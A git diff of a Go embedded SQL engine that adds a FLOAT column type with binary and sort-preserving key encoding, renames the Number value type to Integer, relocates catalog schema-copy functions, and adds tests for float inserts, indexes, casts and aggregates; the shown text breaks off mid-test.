require.True(t, cval.ColBounded()) require.False(t, cval.IsNull()) - err := cval.updateWith(&Number{val: 10}) + err := cval.updateWith(&Integer{val: 10}) require.NoError(t, err) require.Equal(t, IntegerType, cval.Type()) - cmp, err := cval.Compare(&Number{val: 10}) + cmp, err := cval.Compare(&Integer{val: 10}) require.NoError(t, err) require.Equal(t, 0, cmp) @@ -292,14 +304,14 @@ func TestAVGValue(t *testing.T) { err = cval.updateWith(&Bool{val: true}) require.Equal(t, ErrNotComparableValues, err) - err = cval.updateWith(&Number{val: 2}) + err = cval.updateWith(&Integer{val: 2}) require.NoError(t, err) - cmp, err = cval.Compare(&Number{val: 6}) + cmp, err = cval.Compare(&Integer{val: 6}) require.NoError(t, err) require.Equal(t, 0, cmp) - cmp, err = cval.Compare(&Number{val: 7}) + cmp, err = cval.Compare(&Integer{val: 7}) require.NoError(t, err) require.Equal(t, -1, cmp) diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index c04c03ffde..3eaaab37e5 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -19,7 +19,10 @@ package sql import ( "bytes" "encoding/binary" + "errors" "fmt" + "io" + "math" "strings" "time" @@ -493,6 +496,8 @@ func (c *Column) MaxLen() int { return 8 case TimestampType: return 8 + case Float64Type: + return 8 } return c.maxLen } @@ -511,6 +516,8 @@ func validMaxLenForType(maxLen int, sqlType SQLValueType) bool { return maxLen <= 1 case IntegerType: return maxLen == 0 || maxLen == 8 + case Float64Type: + return maxLen == 0 || maxLen == 8 case TimestampType: return maxLen == 0 || maxLen == 8 } @@ -532,7 +539,7 @@ func (c *Catalog) load(sqlPrefix []byte, tx *store.OngoingTx) error { for { mkey, vref, err := dbReader.Read() - if err == store.ErrNoMoreEntries { + if errors.Is(err, store.ErrNoMoreEntries) { break } if err != nil { @@ -577,7 +584,7 @@ func (db *Database) loadTables(sqlPrefix []byte, tx *store.OngoingTx) error { for { mkey, vref, err := tableReader.Read() - if err == store.ErrNoMoreEntries { + if errors.Is(err, store.ErrNoMoreEntries) { break } if err != nil { @@ -619,7 +626,7 @@ func (db *Database) loadTables(sqlPrefix []byte, tx *store.OngoingTx) error { if table.autoIncrementPK { encMaxPK, err := loadMaxPK(sqlPrefix, tx, table) - if err == store.ErrNoMoreEntries { + if errors.Is(err, store.ErrNoMoreEntries) { continue } if err != nil { @@ -682,7 +689,7 @@ func loadColSpecs(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte) ( for { mkey, vref, err := colSpecReader.Read() - if err == store.ErrNoMoreEntries { + if errors.Is(err, store.ErrNoMoreEntries) { break } if err != nil { @@ -740,7 +747,7 @@ func (table *Table) loadIndexes(sqlPrefix []byte, tx *store.OngoingTx) error { for { mkey, vref, err := idxSpecReader.Read() - if err == store.ErrNoMoreEntries { + if errors.Is(err, store.ErrNoMoreEntries) { break } if err != nil { @@ -857,6 +864,7 @@ func unmapColSpec(prefix, mkey []byte) (dbID, tableID, colID uint32, colType SQL func asType(t string) (SQLValueType, error) { if t == IntegerType || + t == Float64Type || t == BooleanType || t == VarcharType || t == BLOBType || @@ -984,6 +992,7 @@ func EncodeID(id uint32) []byte { return encID[:] } +// EncodeValue encode a value in a byte format. This is the internal binary representation of a value. Can be decoded with DecodeValue. func EncodeValue(val interface{}, colType SQLValueType, maxLen int) ([]byte, error) { switch colType { case VarcharType: @@ -1080,6 +1089,22 @@ func EncodeValue(val interface{}, colType SQLValueType, maxLen int) ([]byte, err binary.BigEndian.PutUint32(encv[:], uint32(8)) binary.BigEndian.PutUint64(encv[EncLenLen:], uint64(TimeToInt64(timeVal))) + return encv[:], nil + } + case Float64Type: + { + floatVal, ok := val.(float64) + if !ok { + return nil, fmt.Errorf( + "value is not a float: %w", ErrInvalidValue, + ) + } + + var encv [EncLenLen + 8]byte + floatBits := math.Float64bits(floatVal) + binary.BigEndian.PutUint32(encv[:], uint32(8)) + binary.BigEndian.PutUint64(encv[EncLenLen:], floatBits) + return encv[:], nil } } @@ -1093,6 +1118,7 @@ const ( KeyValPrefixUpperBound byte = 0xFF ) +// EncodeAsKey encodes a value in a b-tree meaningful way. func EncodeAsKey(val interface{}, colType SQLValueType, maxLen int) ([]byte, error) { if maxLen <= 0 { return nil, ErrInvalidValue @@ -1214,7 +1240,39 @@ func EncodeAsKey(val interface{}, colType SQLValueType, maxLen int) ([]byte, err return encv[:], nil } + case Float64Type: + { + floatVal, ok := val.(float64) + if !ok { + return nil, fmt.Errorf( + "value is not a float: %w", ErrInvalidValue, + ) + } + + // Apart form the sign bit, bit representation of float64 + // can be sorted lexicographically + floatBits := math.Float64bits(floatVal) + + var encv [9]byte + encv[0] = KeyValPrefixNotNull + binary.BigEndian.PutUint64(encv[1:], floatBits) + + if encv[1]&0x80 != 0 { + // For negative numbers, the order must be reversed, + // we also negate the sign bit so that all negative + // numbers end up in the smaller half of values + for i := 1; i < 9; i++ { + encv[i] = ^encv[i] + } + } else { + // For positive numbers, the order is already correct, + // we only have to set the sign bit to 1 to ensure that + // positive numbers end in the larger half of values + encv[1] ^= 0x80 + } + return encv[:], nil + } } return nil, ErrInvalidValue @@ -1249,7 +1307,7 @@ func DecodeValue(b []byte, colType SQLValueType) (TypedValue, int, error) { v := binary.BigEndian.Uint64(b[voff:]) voff += vlen - return &Number{val: int64(v)}, voff, nil + return &Integer{val: int64(v)}, voff, nil } case BooleanType: { @@ -1280,7 +1338,259 @@ func DecodeValue(b []byte, colType SQLValueType) (TypedValue, int, error) { return &Timestamp{val: TimeFromInt64(int64(v))}, voff, nil } + case Float64Type: + { + if vlen != 8 { + return nil, 0, ErrCorruptedData + } + v := binary.BigEndian.Uint64(b[voff:]) + voff += vlen + return &Float64{val: math.Float64frombits(v)}, voff, nil + } } return nil, 0, ErrCorruptedData } + +// addSchemaToTx adds the schema to the ongoing transaction. +func (t *Table) addIndexesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { + initialKey := mapKey(sqlPrefix, catalogIndexPrefix, EncodeID(t.db.id), EncodeID(t.id)) + + idxReaderSpec := store.KeyReaderSpec{ + Prefix: initialKey, + Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, + } + + idxSpecReader, err := tx.NewKeyReader(idxReaderSpec) + if err != nil { + return err + } + defer idxSpecReader.Close() + + for { + mkey, vref, err := idxSpecReader.Read() + if errors.Is(err, store.ErrNoMoreEntries) { + break + } + if err != nil { + return err + } + + dbID, tableID, _, err := unmapIndex(sqlPrefix, mkey) + if err != nil { + return err + } + + if t.id != tableID || t.db.id != dbID { + return ErrCorruptedData + } + + v, err := vref.Resolve() + if err == io.EOF { + continue + } + if err != nil { + return err + } + + err = tx.Set(mkey, nil, v) + if err != nil { + return err + } + } + + return nil +} + +// addSchemaToTx adds the schema of the catalog to the given transaction. +func (d *Database) addTablesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { + dbReaderSpec := store.KeyReaderSpec{ + Prefix: mapKey(sqlPrefix, catalogTablePrefix, EncodeID(d.id)), + Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, + } + + tableReader, err := tx.NewKeyReader(dbReaderSpec) + if err != nil { + return err + } + defer tableReader.Close() + + for { + mkey, vref, err := tableReader.Read() + if errors.Is(err, store.ErrNoMoreEntries) { + break + } + if err != nil { + return err + } + + dbID, tableID, err := unmapTableID(sqlPrefix, mkey) + if err != nil { + return err + } + + if dbID != d.id { + return ErrCorruptedData + } + + // read col specs into tx + colSpecs, err := addColSpecsToTx(d.id, tableID, tx, sqlPrefix) + if err != nil { + return err + } + + v, err := vref.Resolve() + if err == io.EOF { + continue + } + if err != nil { + return err + } + + err = tx.Set(mkey, nil, v) + if err != nil { + return err + } + + table, err := d.newTable(string(v), colSpecs) + if err != nil { + return err + } + + if tableID != table.id { + return ErrCorruptedData + } + + // read index specs into tx + err = table.addIndexesToTx(sqlPrefix, tx) + if err != nil { + return err + } + + } + + return nil +} + +// addSchemaToTx adds the schema of the catalog to the given transaction. +func (c *Catalog) addSchemaToTx(sqlPrefix []byte, tx *store.OngoingTx) error { + dbReaderSpec := store.KeyReaderSpec{ + Prefix: mapKey(sqlPrefix, catalogDatabasePrefix), + Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, + } + + dbReader, err := tx.NewKeyReader(dbReaderSpec) + if err != nil { + return err + } + defer dbReader.Close() + + for { + mkey, vref, err := dbReader.Read() + if errors.Is(err, store.ErrNoMoreEntries) { + break + } + + if err != nil { + return err + } + + id, err := unmapDatabaseID(sqlPrefix, mkey) + if err != nil { + return err + } + + v, err := vref.Resolve() + if err == io.EOF { + continue + } + if err != nil { + return err + } + + err = tx.Set(mkey, nil, v) + if err != nil { + return err + } + + db, err := c.newDatabase(id, string(v)) + if err != nil { + return err + } + + // read tables and indexes into tx + err = db.addTablesToTx(sqlPrefix, tx) + if err != nil { + return err + } + + } + + return nil +} + +// addColSpecsToTx adds the column specs of the given table to the given transaction. +func addColSpecsToTx(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte) (specs []*ColSpec, err error) { + initialKey := mapKey(sqlPrefix, catalogColumnPrefix, EncodeID(dbID), EncodeID(tableID)) + + dbReaderSpec := store.KeyReaderSpec{ + Prefix: initialKey, + Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, + } + + colSpecReader, err := tx.NewKeyReader(dbReaderSpec) + if err != nil { + return nil, err + } + defer colSpecReader.Close() + + specs = make([]*ColSpec, 0) + + for { + mkey, vref, err := colSpecReader.Read() + if errors.Is(err, store.ErrNoMoreEntries) { + break + } + if err != nil { + return nil, err + } + + mdbID, mtableID, colID, colType, err := unmapColSpec(sqlPrefix, mkey) + if err != nil { + return nil, err + } + + if dbID != mdbID || tableID != mtableID { + return nil, ErrCorruptedData + } + + v, err := vref.Resolve() + if err != nil { + return nil, err + } + if len(v) < 6 { + return nil, ErrCorruptedData + } + + err = tx.Set(mkey, nil, v) + if err != nil { + return nil, err + } + + spec := &ColSpec{ + colName: string(v[5:]), + colType: colType, + maxLen: int(binary.BigEndian.Uint32(v[1:])), + autoIncrement: v[0]&autoIncrementFlag != 0, + notNull: v[0]&nullableFlag != 0, + } + + specs = append(specs, spec) + + if int(colID) != len(specs) { + return nil, ErrCorruptedData + } + } + + return +} diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index c809a910d1..b9795776a6 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -18,10 +18,8 @@ package sql import ( "context" - "encoding/binary" "errors" "fmt" - "io" "strings" "sync" @@ -502,246 +500,3 @@ func (e *Engine) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error return nil } - -// addSchemaToTx adds the schema to the ongoing transaction. -func (t *Table) addIndexesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { - initialKey := mapKey(sqlPrefix, catalogIndexPrefix, EncodeID(t.db.id), EncodeID(t.id)) - - idxReaderSpec := store.KeyReaderSpec{ - Prefix: initialKey, - Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, - } - - idxSpecReader, err := tx.NewKeyReader(idxReaderSpec) - if err != nil { - return err - } - defer idxSpecReader.Close() - - for { - mkey, vref, err := idxSpecReader.Read() - if err == store.ErrNoMoreEntries { - break - } - if err != nil { - return err - } - - dbID, tableID, _, err := unmapIndex(sqlPrefix, mkey) - if err != nil { - return err - } - - if t.id != tableID || t.db.id != dbID { - return ErrCorruptedData - } - - v, err := vref.Resolve() - if err == io.EOF { - continue - } - if err != nil { - return err - } - - err = tx.Set(mkey, nil, v) - if err != nil { - return err - } - } - - return nil -} - -// addSchemaToTx adds the schema of the catalog to the given transaction. -func (d *Database) addTablesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { - dbReaderSpec := store.KeyReaderSpec{ - Prefix: mapKey(sqlPrefix, catalogTablePrefix, EncodeID(d.id)), - Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, - } - - tableReader, err := tx.NewKeyReader(dbReaderSpec) - if err != nil { - return err - } - defer tableReader.Close() - - for { - mkey, vref, err := tableReader.Read() - if err == store.ErrNoMoreEntries { - break - } - if err != nil { - return err - } - - dbID, tableID, err := unmapTableID(sqlPrefix, mkey) - if err != nil { - return err - } - - if dbID != d.id { - return ErrCorruptedData - } - - // read col specs into tx - colSpecs, err := addColSpecsToTx(d.id, tableID, tx, sqlPrefix) - if err != nil { - return err - } - - v, err := vref.Resolve() - if err == io.EOF { - continue - } - if err != nil { - return err - } - - err = tx.Set(mkey, nil, v) - if err != nil { - return err - } - - table, err := d.newTable(string(v), colSpecs) - if err != nil { - return err - } - - if tableID != table.id { - return ErrCorruptedData - } - - // read index specs into tx - err = table.addIndexesToTx(sqlPrefix, tx) - if err != nil { - return err - } - - } - - return nil -} - -// addSchemaToTx adds the schema of the catalog to the given transaction. -func (c *Catalog) addSchemaToTx(sqlPrefix []byte, tx *store.OngoingTx) error { - dbReaderSpec := store.KeyReaderSpec{ - Prefix: mapKey(sqlPrefix, catalogDatabasePrefix), - Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, - } - - dbReader, err := tx.NewKeyReader(dbReaderSpec) - if err != nil { - return err - } - defer dbReader.Close() - - for { - mkey, vref, err := dbReader.Read() - if err == store.ErrNoMoreEntries { - break - } - - if err != nil { - return err - } - - id, err := unmapDatabaseID(sqlPrefix, mkey) - if err != nil { - return err - } - - v, err := vref.Resolve() - if err == io.EOF { - continue - } - if err != nil { - return err - } - - err = tx.Set(mkey, nil, v) - if err != nil { - return err - } - - db, err := c.newDatabase(id, string(v)) - if err != nil { - return err - } - - // read tables and indexes into tx - err = db.addTablesToTx(sqlPrefix, tx) - if err != nil { - return err - } - - } - - return nil -} - -// addColSpecsToTx adds the column specs of the given table to the given transaction. -func addColSpecsToTx(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte) (specs []*ColSpec, err error) { - initialKey := mapKey(sqlPrefix, catalogColumnPrefix, EncodeID(dbID), EncodeID(tableID)) - - dbReaderSpec := store.KeyReaderSpec{ - Prefix: initialKey, - Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, - } - - colSpecReader, err := tx.NewKeyReader(dbReaderSpec) - if err != nil { - return nil, err - } - defer colSpecReader.Close() - - specs = make([]*ColSpec, 0) - - for { - mkey, vref, err := colSpecReader.Read() - if err == store.ErrNoMoreEntries { - break - } - if err != nil { - return nil, err - } - - mdbID, mtableID, colID, colType, err := unmapColSpec(sqlPrefix, mkey) - if err != nil { - return nil, err - } - - if dbID != mdbID || tableID != mtableID { - return nil, ErrCorruptedData - } - - v, err := vref.Resolve() - if err != nil { - return nil, err - } - if len(v) < 6 { - return nil, ErrCorruptedData - } - - err = tx.Set(mkey, nil, v) - if err != nil { - return nil, err - } - - spec := &ColSpec{ - colName: string(v[5:]), - colType: colType, - maxLen: int(binary.BigEndian.Uint32(v[1:])), - autoIncrement: v[0]&autoIncrementFlag != 0, - notNull: v[0]&nullableFlag != 0, - } - - specs = append(specs, spec) - - if int(colID) != len(specs) { - return nil, ErrCorruptedData - } - } - - return -} diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 66e4a73c11..c5d0f419d8 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -22,6 +22,8 @@ import ( "errors" "fmt" "math" + "sort" + "strconv" "strings" "sync" "testing" @@ -391,10 +393,471 @@ func TestTimestampCasts(t *testing.T) { }) } +func TestFloatType(t *testing.T) { + engine := setupCommonTest(t) + + _, _, err := engine.Exec( + context.Background(), + nil, + "CREATE TABLE IF NOT EXISTS float_table (id INTEGER AUTO_INCREMENT, ft FLOAT, PRIMARY KEY id)", + nil, + ) + require.NoError(t, err) + + t.Run("must insert float type", func(t *testing.T) { + for _, d := range []struct { + valStr string + valFloat float64 + }{ + {"0", 0}, + {"-0", 0}, + {"1", 1}, + {"-1", -1.0}, + {"100.100", 100.100}, + {".7", .7}, + {".543210", .543210}, + {"105.7", 105.7}, + {"00105.98988897", 00105.98988897}, + } { + t.Run("Valid float: "+d.valStr, func(t *testing.T) { + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO float_table(ft) VALUES("+d.valStr+")", nil) + require.NoError(t, err) + + r, err := engine.Query(context.Background(), nil, "SELECT ft FROM float_table ORDER BY id DESC LIMIT 1", nil) + require.NoError(t, err) + defer r.Close() + + row, err := r.Read(context.Background()) + require.NoError(t, err) + require.Equal(t, Float64Type, row.ValuesByPosition[0].Type()) + require.Equal(t, d.valFloat, row.ValuesByPosition[0].Value()) + }) + } + + for _, d := range []string{ + "105.9898.8897", + "0..0", + } { + t.Run("Invalid float: "+d, func(t *testing.T) { + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO float_table(ft) VALUES("+d+")", nil) + require.Error(t, err) + }) + } + }) + + t.Run("must accept float as parameter", func(t *testing.T) { + _, _, err = engine.Exec( + context.Background(), + nil, + "INSERT INTO float_table(ft) VALUES(@ft)", + map[string]interface{}{ + "ft": -0.4, + }, + ) + require.NoError(t, err) + + r, err := engine.Query(context.Background(), nil, "SELECT ft FROM float_table ORDER BY id DESC LIMIT 1", nil) + require.NoError(t, err) + defer r.Close() + + row, err := r.Read(context.Background()) + require.NoError(t, err) + require.Equal(t, Float64Type, row.ValuesByPosition[0].Type()) + require.Equal(t, -0.4, row.ValuesByPosition[0].Value()) + }) + + t.Run("must correctly validate float equality", func(t *testing.T) { + _, _, err = engine.Exec( + context.Background(), + nil, + "INSERT INTO float_table(ft) VALUES(@ft)", + map[string]interface{}{ + "ft": 0.78, + }, + ) + require.NoError(t, err) + + r, err := engine.Query( + context.Background(), + nil, + "SELECT ft FROM float_table WHERE ft = @ft ORDER BY id", + map[string]interface{}{ + "ft": 0.78, + }) + require.NoError(t, err) + + row, err := r.Read(context.Background()) + require.NoError(t, err) + require.Equal(t, Float64Type, row.ValuesByPosition[0].Type()) + require.Equal(t, 0.78, row.ValuesByPosition[0].Value()) + + _, err = r.Read(context.Background()) + require.ErrorIs(t, err, ErrNoMoreRows) + + err = r.Close() + require.NoError(t, err) + + r, err = engine.Query( + context.Background(), nil, + "SELECT ts FROM float_table WHERE ft = @ft ORDER BY id", + map[string]interface{}{ + "ft": "2021-12-06 10:14", + }) + require.NoError(t, err) + + _, err = r.Read(context.Background()) + require.ErrorIs(t, err, ErrNotComparableValues) + + err = r.Close() + require.NoError(t, err) + }) + + t.Run("must correctly handle floating points in aggregate functions", func(t *testing.T) { + _, _, err := engine.Exec( + context.Background(), + nil, + ` + CREATE TABLE aggregate_test( + id INTEGER AUTO_INCREMENT, + f FLOAT, + PRIMARY KEY(id) + ) + `, + nil, + ) + require.NoError(t, err) + + aggregateFunctions := []struct { + fn string + result float64 + }{ + {"MAX", 4.0}, + {"MIN", -1.0}, + {"SUM", 10.0}, + {"AVG", 10.0 / 6.0}, + } + + // Empty table - this is a corner case that has to be checked too + for _, d := range aggregateFunctions { + t.Run(d.fn, func(t *testing.T) { + res, err := engine.Query( + context.Background(), + nil, + "SELECT "+d.fn+"(f) FROM aggregate_test", + nil) + require.NoError(t, err) + defer res.Close() + + row, err := res.Read(context.Background()) + require.NoError(t, err) + + require.Len(t, row.ValuesByPosition, 1) + require.EqualValues(t, 0.0, row.ValuesByPosition[0].Value()) + }) + } + + // Add some values + _, _, err = engine.Exec( + context.Background(), + nil, + ` + INSERT INTO aggregate_test(f) + VALUES (2.0), (1.0), (4.0), (3.0), (-1.0), (1.0) + `, + nil) + require.NoError(t, err) + + for _, d := range aggregateFunctions { + t.Run(fmt.Sprintf("%+v", d), func(t *testing.T) { + res, err := engine.Query( + context.Background(), + nil, + "SELECT "+d.fn+"(f) FROM aggregate_test", + nil) + require.NoError(t, err) + defer res.Close() + + row, err := res.Read(context.Background()) + require.NoError(t, err) + + require.Len(t, row.ValuesByPosition, 1) + require.EqualValues(t, d.result, row.ValuesByPosition[0].Value()) + }) + } + }) + + t.Run("correctly infer fliating-point parameter", func(t *testing.T) { + params, err := engine.InferParameters( + context.Background(), + nil, + "SELECT * FROM float_table WHERE ft = @fparam", + ) + require.NoError(t, err) + require.Equal(t, map[string]SQLValueType{"fparam": Float64Type}, params) + }) +} + +func TestFloatIndex(t *testing.T) { + engine := setupCommonTest(t) + + _, _, err := engine.Exec( + context.Background(), + nil, + "CREATE TABLE IF NOT EXISTS float_index (id INTEGER AUTO_INCREMENT, ft FLOAT, PRIMARY KEY id)", + nil) + require.NoError(t, err) + + _, _, err = engine.Exec( + context.Background(), + nil, + "CREATE INDEX ON float_index(ft)", + nil, + ) + require.NoError(t, err) + + for i := 100; i > 0; i-- { + val, _ := strconv.ParseFloat(fmt.Sprint(i, ".", i), 64) + _, _, err = engine.Exec( + context.Background(), + nil, + "INSERT INTO float_index(ft) VALUES(@ft)", + map[string]interface{}{"ft": val}) + require.NoError(t, err) + } + + r, err := engine.Query( + context.Background(), + nil, + "SELECT * FROM float_index ORDER BY ft", + nil) + require.NoError(t, err) + defer r.Close() + + prevf := float64(-1.0) + for i := 100; i > 0; i-- { + row, err := r.Read(context.Background()) + require.NoError(t, err) + require.EqualValues(t, i, row.ValuesBySelector[EncodeSelector("", "db1", "float_index", "id")].Value()) + + currf := row.ValuesBySelector[EncodeSelector("", "db1", "float_index", "ft")].Value().(float64) + require.Less(t, prevf, currf) + prevf = currf + } + + _, err = r.Read(context.Background()) + require.ErrorIs(t, err, ErrNoMoreRows) +} + +func TestFloatIndexOnNegatives(t *testing.T) { + engine := setupCommonTest(t) + + _, _, err := engine.Exec( + context.Background(), + nil, + "CREATE TABLE IF NOT EXISTS float_index (id INTEGER AUTO_INCREMENT, ft FLOAT, PRIMARY KEY id)", + nil) + require.NoError(t, err) + + _, _, err = engine.Exec( + context.Background(), + nil, + "CREATE INDEX ON float_index(ft)", + nil) + require.NoError(t, err) + + var z float64 + floatSerie := []float64{ + z, /*0*/ + -z, /*-0*/ + 1 / z, /*+Inf*/ + -1 / z, /*-Inf*/ + +z / z, /*NaN*/ + -z / z, /*NaN*/ + -1.0, + 3.345, + -0.5, + 0.0, + -100.8, + 0.5, + 1.0, + math.MaxFloat64, + -math.MaxFloat64, + math.SmallestNonzeroFloat64, + } + + for _, ft := range floatSerie { + _, _, err = engine.Exec( + context.Background(), + nil, + "INSERT INTO float_index(ft) VALUES(@ft)", + map[string]interface{}{"ft": ft}) + require.NoError(t, err) + } + + r, err := engine.Query( + context.Background(), + nil, + "SELECT * FROM float_index ORDER BY ft", + nil) + require.NoError(t, err) + defer r.Close() + + sort.Float64s(floatSerie) + + for i := 0; i < len(floatSerie); i++ { + row, err := r.Read(context.Background()) + require.NoError(t, err) + + val := row.ValuesBySelector[EncodeSelector("", "db1", "float_index", "ft")].Value() + if i == 0 { + require.True(t, math.IsNaN(val.(float64))) + continue + } + if i == 1 { + require.True(t, math.IsNaN(val.(float64))) + continue + } + if i == 7 { // negative zero + require.True(t, math.Signbit(val.(float64))) + } + if i == 8 { // positive zero + require.False(t, math.Signbit(val.(float64))) + } + if i == 9 { // positive zero + require.False(t, math.Signbit(val.(float64))) + } + if i == 10 { + require.Equal(t, math.SmallestNonzeroFloat64, val) + } + require.Equal(t, floatSerie[i], val) + } + + _, err = r.Read(context.Background()) + require.ErrorIs(t, err, ErrNoMoreRows) +} + +func TestFloatCasts(t *testing.T) { + engine := setupCommonTest(t) + + _, _, err := engine.Exec( + context.Background(), + nil, + "CREATE TABLE IF NOT EXISTS float_table (id INTEGER AUTO_INCREMENT, ft FLOAT, PRIMARY KEY id)", + nil) + require.NoError(t, err) + + for _, d := range []struct { + str string + f float64 + }{ + {"0.5", 0.5}, + {".1", 0.1}, + } { + t.Run(fmt.Sprintf("insert a float value using a cast from '%s'", d.str), func(t *testing.T) { + _, _, err = engine.Exec( + context.Background(), + nil, + fmt.Sprintf("INSERT INTO float_table(ft) VALUES(CAST('%s' AS FLOAT))", d.str), + nil, + ) + require.NoError(t, err) + + r, err := engine.Query( + context.Background(), + nil, + "SELECT ft FROM float_table ORDER BY id DESC LIMIT 1", + nil) + require.NoError(t, err) + defer r.Close() + + row, err := r.Read(context.Background()) + require.NoError(t, err) + require.Equal(t, Float64Type, row.ValuesByPosition[0].Type()) + require.Equal(t, d.f, row.ValuesByPosition[0].Value()) + }) + } + + t.Run("insert a float value using a cast from INTEGER", func(t *testing.T) { + _, _, err = engine.Exec( + context.Background(), + nil, + "INSERT INTO float_table(ft) VALUES(CAST(123456 AS FLOAT))", + nil) + require.NoError(t, err) + + r, err := engine.Query( + context.Background(), + nil, + "SELECT ft FROM float_table ORDER BY id DESC LIMIT 1", + nil, + ) + require.NoError(t, err) + defer r.Close() + + row, err := r.Read(context.Background()) + require.NoError(t, err) + require.Equal(t, Float64Type, row.ValuesByPosition[0].Type()) + require.Equal(t, float64(123456), row.ValuesByPosition[0].Value()) + }) + + t.Run("test casting from null values", func(t *testing.T) { + _, _, err = engine.Exec( + context.Background(), + nil, + ` + CREATE TABLE IF NOT EXISTS values_table (id INTEGER AUTO_INCREMENT, ft FLOAT, str VARCHAR, i INTEGER, PRIMARY KEY id); + INSERT INTO values_table(ft, str,i) VALUES(NULL, NULL, NULL); + `, + nil) + require.NoError(t, err) + + _, _, err = engine.Exec( + context.Background(), + nil, + ` + UPDATE values_table SET ft = CAST(str AS FLOAT); + `, + nil, + ) + require.NoError(t, err) + + _, _, err = engine.Exec( + context.Background(), + nil, + ` + UPDATE values_table SET ft = CAST(i AS FLOAT); + `, + nil) + require.NoError(t, err) + }) + + t.Run("test casting invalid string", func(t *testing.T) { + _, _, err = engine.Exec( + context.Background(), + nil, + "INSERT INTO float_table(ft) VALUES(CAST('not a float' AS FLOAT))", + nil) + require.ErrorIs(t, err, ErrIllegalArguments) + require.Contains(t, err.Error(), "can not cast") + + _, _, err = engine.Exec( + context.Background(), + nil, + "INSERT INTO float_table(ft) VALUES(CAST(@ft AS FLOAT))", + map[string]interface{}{ + "ft": strings.Repeat("long string ", 1000), + }) + require.ErrorIs(t, err, ErrIllegalArguments) + require.Contains(t, err.Error(), "can not cast") + }) + +} + func TestNowFunctionEvalsToTxTimestamp(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE tx_timestamp (id INTEGER AUTO_INCREMENT, ts TIMESTAMP, PRIMARY KEY id)", nil) + _, _, err := engine.Exec( + context.Background(), nil, "CREATE TABLE tx_timestamp (id INTEGER AUTO_INCREMENT, ts TIMESTAMP, PRIMARY KEY id)", nil) require.NoError(t, err) currentTs := time.Now() @@ -1425,7 +1888,7 @@ func TestEncodeRawValue(t *testing.T) { } func TestEncodeValue(t *testing.T) { - b, err := EncodeValue((&Number{val: 1}).Value(), IntegerType, 0) + b, err := EncodeValue((&Integer{val: 1}).Value(), IntegerType, 0) require.NoError(t, err) require.EqualValues(t, []byte{0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 1}, b) @@ -1437,7 +1900,7 @@ func TestEncodeValue(t *testing.T) { require.NoError(t, err) require.EqualValues(t, []byte{0, 0, 0, 1, 1}, b) - b, err = EncodeValue((&Number{val: 1}).Value(), BooleanType, 0) + b, err = EncodeValue((&Integer{val: 1}).Value(), BooleanType, 0) require.ErrorIs(t, err, ErrInvalidValue) require.Nil(t, b) @@ -1445,7 +1908,7 @@ func TestEncodeValue(t *testing.T) { require.NoError(t, err) require.EqualValues(t, []byte{0, 0, 0, 5, 't', 'i', 't', 'l', 'e'}, b) - b, err = EncodeValue((&Number{val: 1}).Value(), VarcharType, 0) + b, err = EncodeValue((&Integer{val: 1}).Value(), VarcharType, 0) require.ErrorIs(t, err, ErrInvalidValue) require.Nil(t, b) @@ -1457,11 +1920,11 @@ func TestEncodeValue(t *testing.T) { require.NoError(t, err) require.EqualValues(t, []byte{0, 0, 0, 0}, b) - b, err = EncodeValue((&Number{val: 1}).Value(), BLOBType, 50) + b, err = EncodeValue((&Integer{val: 1}).Value(), BLOBType, 50) require.ErrorIs(t, err, ErrInvalidValue) require.Nil(t, b) - b, err = EncodeValue((&Number{val: 1}).Value(), "invalid type", 50) + b, err = EncodeValue((&Integer{val: 1}).Value(), "invalid type", 50) require.ErrorIs(t, err, ErrInvalidValue) require.Nil(t, b) @@ -1499,7 +1962,7 @@ func TestEncodeValue(t *testing.T) { require.NoError(t, err) require.EqualValues(t, []byte{0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 1}, b) - b, err = EncodeValue((&Number{val: 1}).Value(), TimestampType, 0) + b, err = EncodeValue((&Integer{val: 1}).Value(), TimestampType, 0) require.ErrorIs(t, err, ErrInvalidValue) require.Nil(t, b) } @@ -1800,23 +2263,27 @@ func TestQuery(t *testing.T) { err = r.Close() require.NoError(t, err) - r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE id / 0", nil) - require.NoError(t, err) + t.Run("Query with integer division by zero", func(t *testing.T) { + r, err := engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE id / 0", nil) + require.NoError(t, err) - _, err = r.Read(context.Background()) - require.ErrorIs(t, err, ErrDivisionByZero) + _, err = r.Read(context.Background()) + require.ErrorIs(t, err, ErrDivisionByZero) - err = r.Close() - require.NoError(t, err) + err = r.Close() + require.NoError(t, err) + }) - r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE id + 1/1 > 1 * (1 - 0)", nil) - require.NoError(t, err) + t.Run("Query with floating-point division by zero", func(t *testing.T) { + r, err := engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE id / (1.0-1.0)", nil) + require.NoError(t, err) - _, err = r.Read(context.Background()) - require.NoError(t, err) + _, err = r.Read(context.Background()) + 